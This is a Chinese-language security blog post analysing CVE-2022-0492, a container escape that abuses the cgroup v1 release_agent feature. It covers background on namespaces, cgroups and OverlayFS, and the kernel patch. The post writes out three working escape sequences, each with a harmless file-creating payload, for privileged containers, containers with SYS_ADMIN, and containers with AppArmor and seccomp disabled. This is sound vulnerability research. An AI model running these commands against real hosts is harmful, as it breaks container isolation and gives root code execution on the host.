Docker又爆出高危逃逸漏洞了?仔細研究下事情沒那么簡單
引言:從2019年關注的第一個容器逃逸類型的漏洞寫出CVE-2019-5736 runc容器逃逸漏洞分析后,我對容器類漏洞的敏感度一直沒有降低,并且非常碎片的學習容器和云原生相關的各種原理性知識,筆記記了一大堆,亂七八糟,不成體系。
一直想整理一系列容器相關的文章,包括與容器相關的Linux feature原理總結、寫一個簡單的容器、幾枚容器逃逸漏洞的分析和對比、容器逃逸的特點和共性,到云原生相關的概念和知識,服務網格、K8S相關的安全研究以及各種弱點分析等,其實選題有些過于廣泛了,以至于每一個小點我都想挖得很深(不知道這樣是不是適得其反總之我有這樣的毛病,大家也可以告訴我最想先看到哪個),系列文章被我拖成大概每月幾百字的更新速度,不知何時能寫完。恰巧近期有一枚和容器逃逸相關的漏洞:CVE-2022-0492 Linux內核權限提升漏洞可導致容器(namespace)意外逃逸。我想以這篇水文為起點引出一些粗淺的知識或許是個好的開始?如果你恰好有興趣了解一二,就可以繼續讀一些段落。因為我也是以自己的知識體系學習新的知識,如有紕漏還望指教。
聲明:本篇文章由 @圖南 原創,首發于【跳跳糖社區】,僅用于技術研究,不恰當使用會造成危害,嚴禁違法使用 ,否則后果自負。
0x01 TL;DR
CVE-2022-0492這枚漏洞實質上是Linux內核漏洞,利用的是不安全的容器配置加上Linux內核的特性和實現上的一點小問題進行容器逃逸。漏洞看似危害大但實際利用需要的條件還是有些苛刻的,不必過于恐慌。至于升級Linux內核我想很多企業不敢貿然操作,那么容器和K8S的基線和日常巡檢對于防護此類漏洞利用顯得更重要一些。
0x02 前置知識
這個漏洞的前置知識我想大概只講一下容器原理引出Namespace、cgroup,然后在下面的內容中遇到什么再詳細講一下什么。
容器是一種內核輕量級的操作系統層虛擬化技術。Linux容器主要由Namespace和cgroup兩大機制來保證實現。稍微讀一下Docker的官網文檔我們不難發現:
- Docker容器本質是宿主機的進程
- 通過Namespace實現資源隔離
- 通過cgroups實現了資源限制
下面我們來真正深入容器,從Namespace開始了解容器
>>Linux Namespace aka. 命名空間
熟悉編程的讀者應該對命名空間有一定的概念,若給一段代碼分配一個命名空間,則這段命名空間即相對隔離,也就是說同一個命名空間中的類、屬性、函數是可感知的,而不同命名空間中則需要引用的操作。那么對于命名空間中的類、屬性、函數來說此命名空間即其可感知的上下文域。
那么放到Linux中,Linux設計了一套命名空間的抽象概念,用于資源的隔離。這就為容器的出現創造了條件。現代容器的背后實現技術基本都是 Linux命名空間。
命名空間將全局資源抽象,命名空間內部的進程看起來擁有一個全局資源實際上是一個隔離資源,命名空間內的變動同命名空間進程可感知,不同不可感知
了解了Linux命名空間,我們要了解Linux命名空間到底隔離了什么資源。
>>Linux 命名空間的6大隔離
Linux命名空間類型主要分為Mount命名空間、UTS命名空間、IPC命名空間、PID命名空間、Network命名空間和User命名空間。各自的作用如下表:
命名空間 作用 Mount 隔離文件系統掛載點 UTS 隔離主機名,實際隔離 IPC 隔離進程間通信、信號量和消息隊列等 PID 隔離進程ID空間 Network 隔離網絡包括網絡接口、驅動、路由表、防火墻等 User 隔離UserID和GroupID以及其對應的能力 |
關于Linux命名空間6種隔離的詳細解釋和示例可參考文檔Namespaces in operation, part 1: namespaces overview[1]
到這里,我們已經知道容器的本質是使用Linux的Namespace特性去創建一個隔離的命名空間,它擁有自己的主機名、進程空間、用戶和網絡等等,讓應用程序誤以為是在一個新的環境中運行。有了資源隔離還需要有資源的精細化控制,于是容器應用了另一項Linux中的重要特性:cgroups。
>>cgroups
以下探討的cgroup均為cgroup-v1版本,cgroup-v2有些變化不適用于本次討論
cgroups是Linux內核提供的一種可以限制單個進程或多個進程所使用資源的機制,可以對 cpu、內存等資源實現精細化的控制。
先了解幾個概念:
cgroups 的全稱是control groups,cgroups為每種可以控制的資源定義了一個子系統。一個cgroups把一系列任務(進程)分配給一個或多個子系統。
子系統(subsystem)是修改cgroup中進程行為的內核組件。Linux內核已經實現了各種子系統,有些可以用來限制可用的CPU時間片和內存量,有些可以計算使用CPU的時間,有些可以凍結和恢復進程。子系統有時也被稱為“資源控制器”(或簡稱為控制器)。
典型的子系統介紹如下:
- cpu子系統,主要限制進程的cpu使用率
- cpuacct子系統,可以統計cgroups中的進程的cpu使用報告
- cpuset子系統,可以為cgroups中的進程分配單獨的cpu節點或者內存節點
- memory子系統,可以限制進程的memory使用量
- blkio子系統,可以限制進程的塊設備io
- devices子系統,可以控制進程能夠訪問哪些設備
- net_cls子系統,可以標記cgroups中進程的網絡數據包,然后可以使用tc模塊(traffic control)對數據包進行控制
- freezer子系統,可以掛起或者恢復cgroups中的進程
- ns 子系統,可以使不同cgroups下面的進程使用不同的 namespace cgroup控制器以樹狀的層級結構所組織。他們以虛擬文件系統的形式出現,權限足夠的用戶可以創建、刪除、重命名他們,每一層的控制器中都定義了資源的相關限制和控制等屬性。
下圖為cgroup虛擬文件系統:

以下例子可以簡單闡明cgroups的主要概念和結構:

假設某個高校的服務器要為專家、學生等類型的用戶提供服務,為了保證服務質量可將資源分配如上圖。其中左側是cgroups提供的各個子系統,右側為樹狀的層級結構。
>>cgroups的使用
從這里開始的知識和漏洞相關性很大了。注意以下加粗字體,和漏洞利用的關系較大。在Linux中,用戶若想操作cgroup需要使用mount命令掛載cgroup文件系統,命令格式為:
mount -t cgroup -o
其中為cgroup子系統名稱,為掛載名稱,為掛載路徑。
若想將某個進程加入到某一個cgroup的子系統中進行相應的管理和限制,通常的方法是將此進程/進程組ID加入到此子系統掛載的虛擬文件系統下的cgroup.procs文件中,命令如下:
echo > /cgroup.procs
其中,為要加入cgroup子系統的進程/進程組ID, 為對應子系統的掛載目錄。
大多數Linux已經自動在系統啟動時候將cgroup虛擬文件系統掛載到了/sys/fs/cgroup目錄中,這個操作是由systemd[2]完成的。但是這個自動掛載目錄的操作權限較高,用戶也可以自行將cgroups虛擬文件系統掛載到用戶權限可及的目錄下。
我們大致看下每個子系統包含的內容:

撿幾個重要的講一下:
- tasks:加入到此cgroup子系統中的進程,以PID列表的形式存儲
- cgroup.procs:加入此cgroup中的進程/進程組列表
- notify_on_release:用于標記當此cgroup子系統的所有進程都退出后是否運行release_agent程序,0為默認不運行,1為運行,如果在當前子系統中新建了子系統,則默認繼承這個配置
- release_agent(只存在頂層cgroup子系統中):當上面的notify_on_release設置為1時,此cgroup子系統的所有進程都退出后以內核權限運行的程序
下面是我以特權容器配置(docker run --privileged --name test-nginx-privileged -d nginx)啟動的Nginx Docker容器中的CPU子系統包含的內容和部分配置值:

至此,我們對Linux cgroup了解大概了,開始看漏洞。
0x03 漏洞分析
回到CVE-2022-0492這個漏洞,粗看國外Researcher寫的漏洞分析除了照做能復現成功以外,會產生很多疑問,比如:如何想到的這么做?為什么這樣算漏洞?為啥要新建Namespace,為啥要使用一次unshare?不使用會怎樣?直到把文章中引用的另一篇文章:Understanding Docker container escapes[3]閱讀并理解后,才懂得是怎么回事兒。我按照時間線來重新分析下這個容器逃逸姿勢如何變成漏洞的。
>>特權容器中的逃逸騷姿勢(此時不是漏洞)
2019年,Felix Wilhelm在Twitter上發了一個容器逃逸的騷姿勢并且分享了一枚PoC:
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature.
我修改了一些不太好懂的命令,并且重新命名了,PoC整理如下:
cgroup_dir=/sys/fs/cgroup/rdma # 選擇一個包含release_agent的cgroup子系統控制器,默認只有rdma合適,可以使用cgroup_dir=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`進行查找和定位mkdir -p $cgroup_dir/test_subsystem # 在其中創建一個子系統test_subsystemecho 1 >$cgroup_dir/test_subsystem/notify_on_release # 將test_subsystem子系統中的notify_on_release配置為1用來在全部進程都退出該cgroup子系統后觸發內核調用release_agenthost_overlay2_fs_dir=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab` # 從/etc/mtab中提取upperdir,此路徑指向宿主機的Overlay2fs文件系統的掛載點,容器內rootfs未提交的文件變動都會在此體現echo '#!/bin/sh' > /script # 在容器根目錄下創建script文件并寫入執行腳本(Payload)echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_privileged_containter" >> /script # 在容器根目錄下創建script文件并寫入執行腳本(Payload)echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent # 將host_overlay2_fs_dir與script目錄拼接,目的是在notify_on_release運行時指向容器外的宿主機中的script文件chmod a+x /script # 給script增加執行權限sh -c "echo \$\$ > $cgroup_dir/test_subsystem/cgroup.procs" # 將一個執行即退出的進程ID寫入到此cgroup子系統的cgroup.procs中去觸發notify_on_release,在這里寫入的是sh進程自己的PID
逃逸效果如圖:

有點云里霧里?不怕,我分步驟解析一下上面的PoC,這個姿勢最終就是這枚漏洞的關鍵。
第一步:cgroup_dir=/sys/fs/cgroup/rdma ,找到一個包含release_agent的目錄,由前面的cgroups知識得知,notify_on_release的觸發條件需要同時滿足子系統下notify_on_release文件值為1并且他的最頂層子系統有可執行的release_agent文件。notify_on_release文件在每一個層級的子系統中都有,但是release_agent文件不是每個頂層子系統都有的。直接創建release_agent文件會提示權限不足:

默認符合條件的只有rdma子系統,也可以使用cgroup_dir=dirname $(ls -x /s*/fs/c*/*/r* |head -n1)進行查找和定位。
第二步:mkdir -p $cgroup_dir/test_subsystem ,在剛剛找到的子系統下創建一個自定義的子系統,名字隨意。這里我們能觀察到當執行mkdir的時候并不像平時那樣創建一個新的空文件目錄,而是把此子系統需要的屬性虛擬文件全都自動創建了:

第三步:echo 1 >$cgroup_dir/test_subsystem/notify_on_release,將剛剛創建的test_subsystem子系統中的notify_on_release文件配置為1用來在全部進程都退出該cgroup子系統后觸發內核調用release_agent。這個比較好理解,不做過多解釋了。
在進行第四步前,再補一個小知識:Docker存儲。
我們都知道Docker鏡像是分層存儲的,實際上整個Docker容器在運行中默認使用的存儲方式為OverlayFS文件系統,默認使用的驅動是overlay2。

OverlayFS 在Linux 宿主機上分層為兩個目錄,在容器中它們顯示為一個目錄。這些目錄被稱為“層”,OverlayFS將下層目錄稱為lowerdir,上層目錄稱為upperdir。合并后的稱為merged。
OverlayFS文件系統的結構圖大致如下(圖片引用自Docker官方文檔):

lowerdir一般存儲的是鏡像相關的層,**upperdir一般存儲的是運行中的未提交容器層**,他們都被掛載到了宿主機的文件系統中:

在容器內部,可以通過查看/etc/mtab文件來找到此容器對應的lowerdir和upperdir。

通常情況下,upperdir中映射了容器運行時變動的內容 :

但是容器內部有Namespace隔離,我們無法直接在容器內部運行宿主機的文件和代碼,更無法以宿主機的root權限運行。那么若想逃逸,我們需要“借刀殺人”。這個逃逸姿勢中,刀就是cgroup的notify_on_release功能。cgroup和notify_on_release都是Linux內核的功能,Docker容器是共用宿主機的Linux內核的,所以我們通過在容器內部控制cgroup來在宿主機以很高的權限運行代碼。
繼續看PoC:
第四步:host_overlay2_fs_dir=sed -n 's/.*\upperdir=([^,])./\1/p' /etc/mtab,找到宿主機上的upperdir`掛載目錄。
第五步:echo '#!/bin/sh' > /script;echo "touch /hacked_by_tunan_use_cg_notify_on_release_and_privileged_containter" >> /script,在容器內部創建Payload。
第六步:echo "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agent,把Payload目錄路徑寫入release_agent。
第七步:chmod a+x /script 添加執行權限。
第八步:sh -c "echo \$\$ >$cgroup_dir/test_subsystem/cgroup.procs" 添加一個執行后就退出的進程到新創建的cgroup子系統中來觸發notify_on_release。
到目前為止,這個逃逸姿勢已經講完了,雖說需要特權容器,但是整個思路還是很妙的。再梳理一下整個流程如下圖:

>> SYS_ADMIN下的容器逃逸姿勢(此時還不是漏洞)[4]
Felix的Twitter發完幾天后,一名叫Dominik 'disconnect3d' Czarnota(大概吧)的研究員發表了一篇文章:Understanding Docker container escapes[5]稱我可以不用特權容器就能逃逸,我“只需要”給容器SYS_ADMIN的能力就可以(docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --name test-nginx-sys-admin -d nginx)。
此時的容器和剛才有什么區別呢?我們發現沒有權限新建cgroup子系統了也沒有權限修改cgroup子系統中的文件了:


如何繞?
在前置知識中有提到,如果用戶想操作cgroups可以使用mount掛載cgroup虛擬文件系統,cgroup虛擬文件系統默認掛載到/sys/fs/cgroup目錄下,這個自動掛載目錄的操作權限較高,用戶也可以自行將cgroups虛擬文件系統掛載到用戶權限可及的目錄下。于是PoC修改如下:
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup # 增加掛載cgroups文件系統操作cgroup_dir=/tmp/cgroup # 修改cgroup_dir對應目錄路徑mkdir -p $cgroup_dir/test_subsystem_1echo 1 >$cgroup_dir/test_subsystem_1/notify_on_releasehost_overlay2_fs_dir=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`echo '#!/bin/sh' > /scriptecho "touch /hacked_by_tunan_use_cg_notify_on_release_and_sys_admin_containter" >> /scriptecho "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agentchmod a+x /script sh -c "echo \$\$ > $cgroup_dir/test_subsystem_1/cgroup.procs"
逃逸效果如圖:

這個利用姿勢的條件還是過于苛刻了,只是通過掛載cgroup虛擬文件系統操作繞過了權限不足的問題,整個流程如下圖:

>>關閉兩大安全特性的逃逸姿勢(此時是漏洞了)
時隔3年,這個姿勢又玩出了新花樣,不需要特權容器,也不需要SYS_ADMIN,“只需要”關閉Docker默認開啟的兩大安全特性:AppArmor和Seccomp就可以成功利用了。關于這兩大安全特性在這篇文章中不詳細展開了,只需要知道這兩大特性通過屏蔽一些動作、文件路徑、系統調用來達到安全的目的,本質上是一種黑名單機制(有黑名單是不是就有可能繞過?)。
啟動一個無安全特性的Docker容器命令如下:
docker run --security-opt apparmor=unconfined --security-opt seccomp=unconfined --name test-nginx-nosec -d nginx
在此環境下,系統不允許將內核相關的虛擬文件系統mount到用戶目錄下:

如何繞?
沒有條件就創造條件,新建個Namespace來個Namespace嵌套Namespace,并且重新定義一些資源隔離,讓新建的Namespace又誤以為是一個新的環境。創建Namespace有三種方式,clone、setns、unshare,這三個方式的區別如下圖:



這部分的詳細講解也可以期待下我開頭提到的系列文章,目前只需要了解就行了。此場景中更適合使用unshare去創建Namespace,因此PoC修改如下:
unshare -UrmC bash # 通過unshare創建新的Namespace,隔離用戶、映射root用戶、隔離mount和cgroup并運行bash。mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup # 增加掛載cgroups文件系統操作cgroup_dir=/tmp/cgroup # 修改cgroup_dir對應目錄路徑mkdir -p $cgroup_dir/test_subsystem_2echo 1 >$cgroup_dir/test_subsystem_2/notify_on_releasehost_overlay2_fs_dir=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`echo '#!/bin/sh' > /scriptecho "touch /hacked_by_tunan_use_cg_notify_on_release_and_no_sec_containter" >> /scriptecho "$host_overlay2_fs_dir/script" > $cgroup_dir/release_agentchmod a+x /script sh -c "echo \$\$ > $cgroup_dir/test_subsystem_2/cgroup.procs"
這次效果如下圖:

可能確實有一些場景需要關閉AppArmor和Seccomp兩大安全特性,我也相信在某些時候開發者想做某些操作不方便發現是被某個特性攔截的時候,第一想法就是關閉。可能這是分配CVE編號的原因。但這個漏洞的利用條件還是苛刻的。再看流程圖:

>>補丁分析[6]
簡單看一下補丁:

補丁位置在Linux內核中的kernel/cgroup/cgroup-v1.c文件中,也驗證了這個漏洞是Linux內核漏洞而不是Docker和容器本身的漏洞。補丁限制了配置release_agaent的權限。
0x04 總結一下
如果真的能讀到這里,你已經閱讀了將近5000字了,雖然是一篇漏洞分析文章,但是這個漏洞本身并不那么重要也不算嚴重。引申出來的知識和思考才是我寫出來這篇文的動力所在。
我大概分析了三枚容器逃逸類漏洞,從最開始寫成文章的CVE-2019-5736 runc容器逃逸漏洞,到我只復現沒分析的CVE-2021-30465 runc競爭條件漏洞[7],再到今天這枚內核提權限漏洞導致容器意外逃逸,我也從啥也不懂照葫蘆畫瓢變成了略知一二,發現了容器逃逸類漏洞的一些特征:
若想逃逸容器,一般有三個方向可以考慮:
- 容器本身配置不安全,如使用特權容器或關閉了某些安全功能。
- 利用容器和容器相關組件(runc)本身的漏洞,這類漏洞的本質是資源隔離過程中的不完善。如CVE-2019-5736的
/proc/self/fd/${fd}意外指向了宿主機二進制文件和CVE-2021-30465在某些特定(非常苛刻)的條件下意外把宿主機文件系統掛載進了容器內部。 - 利用Linux內核的一些特性或內核漏洞、或者某些軟件和應用、在容器內部“借刀殺人”。通常需要結合第一點即容器具有一些系統級別的權限如特權容器或關閉某些安全功能,但也不排除有未探索到的繞過默認安全特性的可能。
CVE-2022-0492就屬于1與3的結合。
這三枚漏洞都可以打上 利用苛刻 、 雞肋 的標簽,可能CVE-2019-5736會相對好一些,會有真正的重量級容器逃逸漏洞嗎?
0x05 尾巴
從19年到22年,我們經歷了太多變動和未知,未知產生恐懼。
但我們本來就活在眾多未知之中,人類本來就無法了解全部事物,甚至連我們自己都不能研究明白。
我們能做的只有不斷探索不斷思考,反復不停的學習、求證、再學習、再求證……
去探索更多未知吧,或許沒有結果,但過程足夠精彩。
共勉。
0x06 參考資料
1. CGROUPS[8]
2. Linux資源管理之cgroups簡介[9]
3.unshare(1) — Linux manual page[10]
4. cgroups(7) — Linux manual page[11]
5. Use the OverlayFS storage driver[12]
6. index : kernel/git/torvalds/linux.git[13]
7. Seccomp security profiles for Docker[14]
8. AppArmor security profiles for Docker[15]
10. Understanding Docker container escapes[16]
11. Namespaces in operation, part 2: the namespaces API[17]
12. Namespaces in operation, part 1: namespaces overview[18]
13. CVE-2022-0492: Privilege escalation vulnerability causing container escape[19]
14. runc mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs (CVE-2021-30465)[20]
引用鏈接
[1] Namespaces in operation, part 1: namespaces overview: https://lwn.net/Articles/531114/
[2] systemd: https://man7.org/linux/man-pages/man1/systemd.1.html
[3] Understanding Docker container escapes: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
[4] SYS_ADMIN下的容器逃逸姿勢(此時還不是漏洞): https://tttang.com/archive/1484/#toc_sys_admin
[5] Understanding Docker container escapes: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
[6] 補丁分析: https://tttang.com/archive/1484/#toc__2
[7] CVE-2021-30465 runc競爭條件漏洞: http://blog.champtar.fr/runc-symlink-CVE-2021-30465/
[8] CGROUPS: https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
[9] Linux資源管理之cgroups簡介: https://tech.meituan.com/2015/03/31/cgroups.html
[10] unshare(1) — Linux manual page: https://man7.org/linux/man-pages/man1/unshare.1.html
[11] cgroups(7) — Linux manual page: https://man7.org/linux/man-pages/man7/cgroups.7.html#CGROUPS_VERSION_1
[12] Use the OverlayFS storage driver: https://docs.docker.com/storage/storagedriver/overlayfs-driver/#how-the-overlay2-driver-works
[13] index : kernel/git/torvalds/linux.git: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=24f6008564183aa120d07c03d9289519c2fe02af
[14] Seccomp security profiles for Docker: https://docs.docker.com/engine/security/seccomp/
[15] AppArmor security profiles for Docker: https://docs.docker.com/engine/security/apparmor/
[16] Understanding Docker container escapes: https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
[17] Namespaces in operation, part 2: the namespaces API: https://lwn.net/Articles/531381/
[18] Namespaces in operation, part 1: namespaces overview: https://lwn.net/Articles/531114/
[19] CVE-2022-0492: Privilege escalation vulnerability causing container escape: https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/
[20] runc mount destinations can be swapped via symlink-exchange to cause mounts outside the rootfs (CVE-2021-30465): http://blog.champtar.fr/runc-symlink-CVE-2021-30465/